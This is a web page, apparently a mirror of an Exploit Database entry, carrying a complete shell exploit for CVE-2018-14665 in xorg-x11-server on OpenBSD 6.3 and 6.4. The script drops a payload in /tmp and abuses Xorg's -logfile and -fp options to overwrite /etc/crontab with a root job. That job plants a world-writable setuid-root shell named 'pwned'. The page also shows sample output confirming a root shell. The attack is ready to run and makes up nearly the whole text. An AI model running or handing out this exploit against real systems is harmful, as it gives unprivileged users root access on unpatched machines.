xorg-x11-server 1.20.3 – Privilege Escalation

• Exploit Database
• 118 阅读

• 作者： Marco Ivaldi
  日期： 2018-10-30
• 类别：

  • local
  平台：

  • openbsd
• 来源：https://www.exploit-db.com/exploits/45742/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77

  # Exploit Title: xorg-x11-server 1.20.3 - Privilege Escalation # Date: 2018-10-27 # Exploit Author: Marco Ivaldi # Vendor Homepage: https://www.x.org/ # Version: xorg-x11-server 1.19.0 - 1.20.2 # Tested on: OpenBSD 6.3 and 6.4 # CVE : CVE-2018-14665   # raptor_xorgasm   #!/bin/sh   # # raptor_xorgasm - xorg-x11-server LPE via OpenBSD&apos;s cron # Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info> # # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission # check for -modulepath and -logfile options when starting Xorg. X server # allows unprivileged users with the ability to log in to the system via # physical console to escalate their privileges and run arbitrary code under # root privileges (CVE-2018-14665). # # This exploit targets OpenBSD&apos;s cron in order to escalate privileges to # root on OpenBSD 6.3 and 6.4. You don&apos;t need to be connected to a physical # console, it works perfectly on pseudo-terminals connected via SSH as well. # # See also: # https://lists.x.org/archives/xorg-announce/2018-October/002927.html # https://www.exploit-db.com/exploits/45697/ # https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850 # # Usage: # blobfish$ chmod +x raptor_xorgasm # blobfish$ ./raptor_xorgasm # [...] # Be patient for a couple of minutes... # [...] # Don&apos;t forget to cleanup and run crontab -e to reload the crontab. # -rw-r--r--1 rootwheel47327 Oct 27 14:48 /etc/crontab # -rwsrwxrwx1 rootwheel7417 Oct 27 14:50 /usr/local/bin/pwned # blobfish# id # uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel) # # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): # OpenBSD 6.4 (Xorg 1.19.6) [tested] # OpenBSD 6.3 (Xorg 1.19.6) [tested] #   echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD&apos;s cron" echo "Copyright (c) 2018 Marco Ivaldi <raptor@0xdeadbeef.info>"   # prepare the payload cat << EOF > /tmp/xorgasm cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid chmod 4777 /usr/local/bin/pwned EOF chmod +x /tmp/xorgasm   # trigger the bug cd /etc Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 & sleep 5 pkill Xorg   # run the setuid shell echo echo "Be patient for a couple of minutes..." echo sleep 120 echo echo "Don&apos;t forget to cleanup and run crontab -e to reload the crontab." ls -l /etc/crontab* ls -l /usr/local/bin/pwned /usr/local/bin/pwned